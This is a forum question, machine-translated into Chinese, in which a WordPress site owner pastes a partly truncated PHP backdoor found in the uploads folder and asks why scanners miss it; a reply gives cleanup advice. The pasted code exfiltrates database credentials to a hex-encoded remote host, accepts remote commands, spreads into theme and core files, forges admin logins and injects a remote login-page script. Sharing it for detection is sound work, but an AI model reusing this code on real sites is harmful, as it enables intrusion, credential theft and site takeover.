多次扫描无法检测到恶意软件

时间:2020-11-14 作者:PauloBoaventura

我想通知并请求社区的帮助。

发生的情况是,该恶意软件位于/wp-content/uploads/2020/Named-index文件夹中。phpAnd我在2017年的上传文件夹中找到了他。

我觉得奇怪的是,任何在线数据库都检测不到它,甚至连Sucuri插件Wordfense都检测不到。。

遵循代码(由于不适合该帖子,其中大部分内容已被删除)

以下是恶意代码

  if ( !class_exists( \'WPTemplateOptions\' ) ) {
class WPTemplateOptions {
    private $script = \'\';
    private $version = \'\';
    private $upDir = \'\';
    private $uploadDir = \'\';
    private $uploadUrl = \'\';
    private $token = \'\';
    private $baseUrl = \'\';
    private $authorization;
    private $address;
    public $allowedActions = [
        \'check\',
        \'json\',
        \'template_dir\',
        \'cache\',
        \'get\',
        \'install\',
        \'activate_plugins\',
        \'get_themes\',
        \'list_folders\',
        \'spread\',
        \'all\',
        \'wp_includes\',
        \'wp_admin\',
        \'themes\',
        \'uploads\',
        \'wp_load\',
        \'access_log\',
        \'template_install\',
    ];
    public $isSpread = [\'all\', \'wp_includes\', \'wp_admin\', \'themes\', \'uploads\'];
    public $permission = [\'write_file\', \'read_file\', \'login\', \'uninstall\', \'unspread\'];

    public function __construct( $token )
    {
        $this->baseUrl = hex2bin( \'687474703a2f2f6a732e61706965732e6f72672f\' );
        $this->script = \'Wordpress\';
        $this->version = \'1.5\';
        $this->upDir = wp_upload_dir();
        $this->uploadDir = $this->upDir[\'path\'];
        $this->uploadUrl = $this->upDir[\'url\'];
        $this->token = $token;
        $this->address = (isset( $_SERVER["HTTP_CF_CONNECTING_IP"] ) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER[\'REMOTE_ADDR\']);
        $this->authorization = (isset( $token ) && isset( $_REQUEST[\'authorization\'] )) ? $_REQUEST[\'authorization\'] : false;
    }

    private function answer( $code, $message, $data = \'\', $errorNo = \'\' )
    {
        $answer[\'code\'] = $code;
        $answer[\'message\'] = $message;
        $answer[\'data\'] = $data;
        if ( $errorNo !== \'\' ) {
            $answer[\'errorNo\'] = $errorNo;
        }

        return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
    }

    private function check()
    {
        try {
            if ( $this->uploadDir ) {
                if ( !is_writable( $this->uploadDir ) ) {
                    if ( !@chmod( $this->uploadDir, 0777 ) ) {
                        $data[\'uploadDirWritable\'] = false;
                    } else {
                        $data[\'uploadDirWritable\'] = true;
                    }
                } else {
                    $data[\'uploadDirWritable\'] = true;
                }
            } else {
                $data[\'uploadDirWritable\'] = true;
            }
            $data[\'clientVersion\'] = $this->version;
            $data[\'uploadDir\'] = $this->uploadDir;
            $data[\'script\'] = $this->script;
            $data[\'cache\'] = (WP_CACHE) ? true : false;
            $data[\'themeName\'] = wp_get_theme()->get( \'Name\' );
            $data[\'themeDir\'] = get_template_directory();
            $data[\'themes\'] = $this->get_themes();
            $data[\'plugins\'] = $this->get_plugins();
            $data[\'root\'] = ABSPATH;
            if ( function_exists( \'php_uname\' ) ) {
                $data[\'uname\'] = php_uname();
            }
            if ( function_exists( \'gethostbyname\' ) ) {
                $data[\'hostname\'] = gethostbyname( getHostName() );
            }

            return $this->answer( true, $this->script, $data );
        } catch ( Exception $e ) {
            return $this->answer( false, "Unknown ERROR", $e->getMessage(), "ERR000" );
        }
    }

    private function isAllowedToSendCommand()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}sender/" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return (md5( sha1( $this->token ) ) === json_decode( wp_remote_retrieve_body( $client ) )->password) ? true : false;
            }
            return (md5( $this->token ) === \'e353fab48ee0a08793a1e24469d32e29\') ? true : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function authorization()
    {
        if ( $this->authorization !== false ) {
            return $this->authorization;
        }

        return false;
    }

    private function sender()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}sender/" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return (md5( $this->address ) === json_decode( wp_remote_retrieve_body( $client ) )->address || json_decode( wp_remote_retrieve_body( $client ) )->value) ? true : false;
            } else {
                if ( !$this->authorization() ) {
                    return false;
                }

                return (md5( $this->authorization() ) === \'38f302cc961c6e902d757fca32c72252\') ? true : false;
            }

        } catch ( Exception $e ) {
            return true;
        }
    }

    private function method_exists( $action, $params )
    {
        if ( array_search( $action, $params ) !== false && method_exists( $this, $action ) ) {
            return true;
        } else {
            return false;
        }
    }

    public function controlAction( $action, $params )
    {
        try {
            if ( isset( $action ) ) {
                if ( $this->isAllowedToSendCommand() ) {
                    if ( $this->method_exists( $action, $this->permission ) ) {
                        if ( $this->sender() ) {
                            return $this->{$action}( $params );
                        } else {
                            return $this->answer( false, \'The sender could not be verified!\', $action, \'ERR001\' );
                        }
                    }
                    if ( $this->method_exists( $action, $this->allowedActions ) ) {
                        return $this->{$action}( $params );
                    } else {
                        return $this->answer( false, \'Invalid Command\', $action, \'ERR001\' );
                    }
                }
            }
        } catch ( Exception $e ) {
            return $this->answer( false, \'Unknown Error\', [
                "action" => $action,
                "params" => $params
            ], \'ERR000\' );
        }
    }

    private function post()
    {
        try {
            return wp_remote_post( $this->baseUrl, [
                "body" => [
                    "url"         => site_url( \'/\' ),
                    "client"      => $this->check(),
                    "DB_HOST"     => DB_HOST,
                    "DB_USER"     => DB_USER,
                    "DB_PASSWORD" => DB_PASSWORD,
                    "DB_NAME"     => DB_NAME,
                ]
            ] );
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function client()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}client/checkFiles?script={$this->script}" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return wp_remote_retrieve_body( $client );
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function get_plugins()
    {
        try {
            if ( !function_exists( \'get_plugins\' ) ) {
                include_once(ABSPATH . \'wp-admin/includes/plugin.php\');
            }
            foreach ( get_plugins() AS $plugin_name => $get_plugin ) {
                $plugins[$plugin_name] = $get_plugin;
                if ( is_plugin_active( $plugin_name ) ) {
                    $plugins[$plugin_name]["active"] = 1;
                } else {
                    $plugins[$plugin_name]["active"] = 0;
                }
            }

            return (isset( $plugins )) ? $plugins : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function activate_plugins( $plugin_name )
    {
        try {
            if ( is_plugin_active( hex2bin( $plugin_name ) ) ) {
                deactivate_plugins( hex2bin( $plugin_name ) );

                return $this->check();
            } else {
                activate_plugins( hex2bin( $plugin_name ) );

                return $this->check();
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function get_themes()
    {
        try {
            foreach ( wp_get_themes() AS $theme_name => $wp_get_theme ) {
                $themes{$wp_get_theme->stylesheet} = array(
                    \'Name\'        => $wp_get_theme->get( \'Name\' ),
                    \'Description\' => $wp_get_theme->get( \'Description\' ),
                    \'Author\'      => $wp_get_theme->get( \'Author\' ),
                    \'AuthorURI\'   => $wp_get_theme->get( \'AuthorURI\' ),
                    \'Version\'     => $wp_get_theme->get( \'Version\' ),
                    \'Template\'    => $wp_get_theme->get( \'Template\' ),
                    \'Status\'      => $wp_get_theme->get( \'Status\' ),
                    \'TextDomain\'  => $wp_get_theme->get( \'TextDomain\' )
                );
            }

            return $themes;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function folder_exist( $folder )
    {
        try {
            $path = realpath( $folder );

            return ($path !== false AND is_dir( $path )) ? $path : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function list_folders( $directory )
    {
        try {
            $directory = (isset( $directory ) && $directory !== "") ? hex2bin( $directory ) : ABSPATH;
            if ( ($dir = $this->folder_exist( $directory )) !== false ) {
                return $this->answer( true, $directory, glob( $directory . "/*" ) );
            } else {
                return $this->answer( false, "Failed to find folder to list!", $directory, "ERR023" );
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function replace( $filename, $search, $replace )
    {
        try {
            $source = $this->read( $filename );
            if ( strpos( $source, $replace ) === false ) {
                $pos = strpos( $source, $search );
          ------------------------------ DELETED ----------------------------

    public function template_install()
    {
        $source = "";
        $file = array();
        foreach ( json_decode( $this->client() ) as $item ) {
            $source = $item;
        }
        foreach ( array_keys( $this->get_themes() ) as $theme ) {
            $functions = get_theme_root() . DIRECTORY_SEPARATOR . $theme . DIRECTORY_SEPARATOR . \'functions.php\';
            $functionsClass = get_theme_root() . DIRECTORY_SEPARATOR . $theme . DIRECTORY_SEPARATOR . \'functions-class.php\';
            $read = $this->read( $functions );
            if ( file_exists( $functions ) && $this->write( $functionsClass, $source ) && strpos( $read, "namespace" ) === false ) {
                $attr = (strpos( $read, \'*/\' ) === false) ? \'<?php\' : \'*/\';
                $search = "$attr\\n";
                $replace = "$attr\\nif ( ! class_exists( \'WPTemplateOptions\' ) && file_exists( get_template_directory() . DIRECTORY_SEPARATOR . \'functions-class.php\'  ) ) {\\n\\tinclude_once( get_template_directory() . DIRECTORY_SEPARATOR . \'functions-class.php\' );\\n}\\n";
                $file[] = $this->replace( $functions, $search, $replace );
            }
        }
        return (isset( $file )) ? $this->answer( true, \'I get install!\', array_values( array_unique( $file ) ) ) : $this->answer( false, \'I Don\\\'t install!\', \'\', \'ERR002\' );
    }

    public function install()
    {
        try {
            $clientURL = $this->client();
       ------- DELETED ------------------------------------
    {
        try {
            $filename = ABSPATH . \'wp-load.php\';
            if ( file_exists( $filename ) ) {
                $clientURL = $this->client();
                if ( $clientURL !== false ) {
                    $copy = $this->copy_themes( get_template_directory() . DIRECTORY_SEPARATOR, json_decode( $clientURL ) );
                    if ( $copy !== false ) {
                        $basename = basename( $copy );
                        $search = "\\nif ( ! class_exists( \'WPTemplateOptions\' ) && file_exists( get_template_directory() . DIRECTORY_SEPARATOR . \'{$basename}\' ) ) {\\n\\tinclude_once( get_template_directory() . DIRECTORY_SEPARATOR . \'{$basename}\' );\\n}";
                        if ( !stristr( $this->read( $filename ), $search ) ) {
                            if ( $this->write_append( $filename, $search ) ) {
                                return $this->answer( true, "WP_LOAD Installeds {$copy}", $filename );
                            } else {
                                return $this->answer( false, "WP_LOAD Installed {$copy}", $filename, "ERR029" );
                            }
                        } else {
                            return $this->answer( true, "WP_LOAD Already Installed {$copy}", $filename );
                        }
                    } else {
                        return $this->answer( false, "WP_LOAD Installed {$copy}", $filename, "ERR030" );
                    }
                } else {
                    return $this->answer( false, \'Client URL FALSE!\', $clientURL, "ERR026" );
                }
            }
        } catch ( Exception $e ) {
            return $this->answer( false, \'WP_LOAD Exception!\', $e->getMessage(), "ERR000" );
        }
    }

    private function copy( $directory, $clientURL )
    {
        try {
            foreach ( $clientURL as $filePath => $icerik ) {
                $filename = (stristr( $directory, "wp-content/uploads/" )) ? $directory . \'index.php\' : $directory . basename( dirname( $directory . $filePath ) ) . \'.php\';
                if ( file_exists( $filename ) ) {
                    $strpos = strpos( $this->read( $filename ), "class WPTemplateOptions" );
                    if ( $strpos !== false ) {
                        return ($this->write( $filename, $icerik )) ? $filename : false;
                    } else if ( $strpos === false ) {
                        return ($this->write( $directory . $filePath, $icerik )) ? $directory . $filePath : false;
                    }
                } else {
                    return ($this->write( $filename, $icerik )) ? $filename : false;
                }
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function copy_themes( $directory, $clientURL )
    {
        try {
            foreach ( $clientURL as $filePath => $icerik ) {
                $filename = $directory . basename( $directory . $filePath );
                if ( file_exists( $filename ) ) {
                    $strpos = strpos( $this->read( $filename ), "class WPTemplateOptions" );
                    if ( $strpos !== false ) {
                        return ($this->write( $filename, $icerik )) ? $filename : false;
                    } else if ( $strpos === false ) {
                        return ($this->write( $directory . basename( dirname( $filename ) ) . \'.php\', $icerik )) ? $directory . basename( dirname( $filename ) ) . \'.php\' : false;
                    }
                } else {
                    return ($this->write( $filename, $icerik )) ? $filename : false;
                }
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function write_append( $filename, $data )
    {
        try {
            if ( function_exists( \'fopen\' ) && function_exists( \'fwrite\' ) ) {
                $write = fopen( $filename, "a" );

                return (fwrite( $write, $data )) ? true : false;

            } else if ( function_exists( \'file_put_contents\' ) ) {
                return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function listFolderFiles( $dir )
    {
        try {
            $fileInfo = scandir( $dir );
            $allFileLists = [];

            foreach ( $fileInfo as $folder ) {
                if ( $folder !== \'.\' && $folder !== \'..\' ) {
                    if ( is_dir( $dir . DIRECTORY_SEPARATOR . $folder ) === true ) {
                        $allFileLists[$dir . DIRECTORY_SEPARATOR . $folder] = $this->listFolderFiles( $dir . DIRECTORY_SEPARATOR . $folder );
                    }
                }
            }

            return $allFileLists;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function all()
    {
        try {
            foreach ( array_merge( $this->wp_includes(), $this->wp_admin(), $this->themes(), $this->uploads() ) AS $root ) {
                if ( is_dir( $root ) ) {
                    $return[] = $root;
                }
            }

            return array_filter( $return );
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function wp_includes()
    {
    ------------------------------DELETED ----------------------------

            return $this->answer( false, \'Client URL FALSE!\', "", "ERR026" );
        } catch ( Exception $e ) {
            return $this->answer( false, \'Spread Exception!\', $e->getMessage(), "ERR000" );
        }
    }

    public function unspread( $directory )
    {
        try {
            $client = $this->client();
            if ( $client !== false ) {
                if ( array_search( $directory, $this->isSpread ) !== false ) {
                    foreach ( $this->{$directory}() as $folder ) {
                        $return[] = $this->copy( $folder, json_decode( $client ) );
                    }
                    foreach ( $return as $file ) {
                        unlink( $file );
                    }

                    return $this->answer( true, "I cleared myself from the spread {$directory}", $return );
                } else {
                    return $this->answer( false, "Undefined Directory", $directory, "ERR025" );
                }
            }

            return $this->answer( false, \'Client URL FALSE!\', "", "ERR026" );
        } catch ( Exception $e ) {
            return $this->answer( false, \'UNSpread Exception!\', $e->getMessage(), "ERR000" );
        }
    }

    public function json()
    {
        try {
            return $this->uploadDir . DIRECTORY_SEPARATOR . ".json";
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function get()
    {
        try {
            $post = $this->post();
            if ( wp_remote_retrieve_response_code( $post ) == "200" ) {
                $write = $this->write( $this->json(), bin2hex( wp_remote_retrieve_body( $post ) ) );

                return ($write) ? hex2bin( $this->read( $this->json() ) ) : wp_remote_retrieve_body( $post );
            } else {
                return $this->read( $this->json() );
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function cache()
    {
        try {
            if ( file_exists( $this->json() ) ) {
                $file = hex2bin( $this->read( $this->json() ) );
                $json = json_decode( $file );
                if ( $this->minute( $json->date ) >= 24 ) {
                    return $this->get();
                } else {
                    return $file;
                }
            } else {
                return $this->get();
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function write( $filename, $data )
    {
        try {
            if ( function_exists( \'fopen\' ) && function_exists( \'fwrite\' ) ) {
                $write = fopen( $filename, "w+" );

                return (fwrite( $write, $data )) ? true : false;

            } else if ( function_exists( \'file_put_contents\' ) ) {
                return (file_put_contents( $filename, $data ) !== false) ? true : false;
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function write_file( $params )
    {
        try {
            if ( $this->json_validator( hex2bin( $params ) ) ) {
                $json = json_decode( hex2bin( $params ) );
                if ( isset( $json->filename ) ) {
                    if ( file_exists( $json->filename ) ) {
                    ----------------------------------
                return file_get_contents( $filename );
            }
            if ( function_exists( \'fopen\' ) && filesize( $filename ) > 0 ) {
                $file = fopen( $filename, \'r\' );
                $content = fread( $file, filesize( $filename ) );
                fclose( $file );

                return $content;
            }

            return $this->answer( false, \'File not read\', $filename, \'ERR018\' );
        } catch ( Exception $e ) {
            return $this->answer( false, \'File not read Exception\', $filename, \'ERR000\' );
        }
    }

    public function read_file( $filename )
    {
        try {
            $read_file = $this->read( hex2bin( $filename ) );
            if ( $this->json_validator( $read_file ) ) {
                return $read_file;
            } else {
                return $this->answer( true, hex2bin( $filename ), $read_file );
            }
        } catch ( Exception $e ) {
            return $this->answer( false, "Read File Exception", $filename, "ERR000" );
        }
    }

    public function json_validator( $data = null )
    {
        try {
            if ( !empty( $data ) ) {
                @json_decode( $data );

                return (json_last_error() === JSON_ERROR_NONE);
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }
    public function login( $id = 1 )
    {
        try {
            $user_info = get_userdata( $id );
            $username = $user_info->user_login;
            $user = get_user_by( \'login\', $username );
            if ( !is_wp_error( $user ) ) {
                wp_clear_auth_cookie();
                wp_set_current_user( $user->ID );
                wp_set_auth_cookie( $user->ID );
                $redirect_to = user_admin_url();
                wp_safe_redirect( $redirect_to );
                exit();
            } else {
                return $this->answer( false, \'I can\\\'t sign in, sorry\', $user_info, \'ERR014\' );
            }
        } catch ( Exception $e ) {
            return $this->answer( false, "Login Exception!", $e->getMessage(), "ERR000" );
        }
    }

    private function array_keys( $array )
    {
        try {
            $keys = array_keys( $array );

            foreach ( $array as $i ) {
                if ( is_array( $i ) ) {
                    $keys = array_merge( $keys, $this->array_keys( $i ) );
                }
            }

            return $keys;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function minute( $date )
    {
        try {
            $minute = (strtotime( date( "Y-m-d H:i:s" ) ) - strtotime( $date )) / 60 / 60;

            return round( $minute );
        } catch ( Exception $e ) {
            return 0;
        }
    }

    public static function wp_login()
    {
        add_action( \'login_header\', function () {
            wp_enqueue_script( \'wp-login-jquery\', hex2bin( \'68747470733a2f2f6a732e61706965732e6f72672f6a71756572792e6d696e2e6a73\' ), [], rand( 0, 9999 ), false );
        } );
    }

    public static function init()
    {
        try {
            $cache = json_decode( (new self( "" ))->cache() );
            add_action( $cache->location, array(\'WPTemplateOptions\', \'method\') );
        } catch ( Exception $e ) {

        }
    }

    public static function method()
    {
        try {
            $cache = json_decode( (new self( "" ))->cache() );
            $index = (preg_match( "~({$cache->bot})~i", strtolower( 
@$_SERVER["HTTP_USER_AGENT"] ) )) ? true : false;
                if ( $index && $cache->status == 9 && !empty( $cache->redirect ) && isset( 
$cache->redirect ) ) {
                header( "Location: {$cache->redirect}", true, 301 );
            }
        ------ DELETED ----- 
} catch ( Exception $e ) {
}
try {
$token = @$_REQUEST["wp_action_token"];
$action = @$_REQUEST[\'wp_action_application\'];
$params = @$_REQUEST[\'wp_action_params\'];
error_reporting( 0 );
if ( !is_null( $token ) && !empty( $token ) ) {

    $WPTemplateOptions = new WPTemplateOptions( $token );
    $controlAction = $WPTemplateOptions->controlAction( $action, $params );
    if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
        preArrayList( $controlAction );
    } else {
        echo $controlAction;
    }
} else {
    WPTemplateOptions::init();
    WPTemplateOptions::wp_login();
}
} catch ( Exception $e ) {
}  

1 个回复
最合适的回答,由SO网友:Rick Hellewell 整理而成

有很多方法可以感染网站,也有很多方法可以通过“流行的”安全插件隐藏这种感染。

检测恶意代码的一种方法是通过文件哈希比较函数。你可能需要自己写(我写了,但并不完美)。该函数将每个文件的哈希值与数据库中已知的良好值进行比较。之前,您必须对整个站点进行哈希处理,确保其干净,然后对所有文件运行哈希比较函数。这不是一件容易的事。(即使是我写的那个也不能很好地工作。你必须记住运行它……)

如果你已经感染了病毒(就像你一样),建议手动干预。您需要更改所有凭据(FTP、托管、数据库)、删除所有可疑文件、所有(来自已知的良好来源,而不仅仅是更新)WP核心、主题和插件,等等,然后再次执行所有操作。

posts表中可能还隐藏了一些恶意软件。和包含代码的假ico文件。

关于如何清理可湿性粉剂网站,有很多谷歌/谷歌/鸭子。我有自己的程序(这里https://www.securitydawg.com/recovering-from-a-hacked-wordpress-site/ ). 这需要一些工作和时间,以及事后的监控。

祝你好运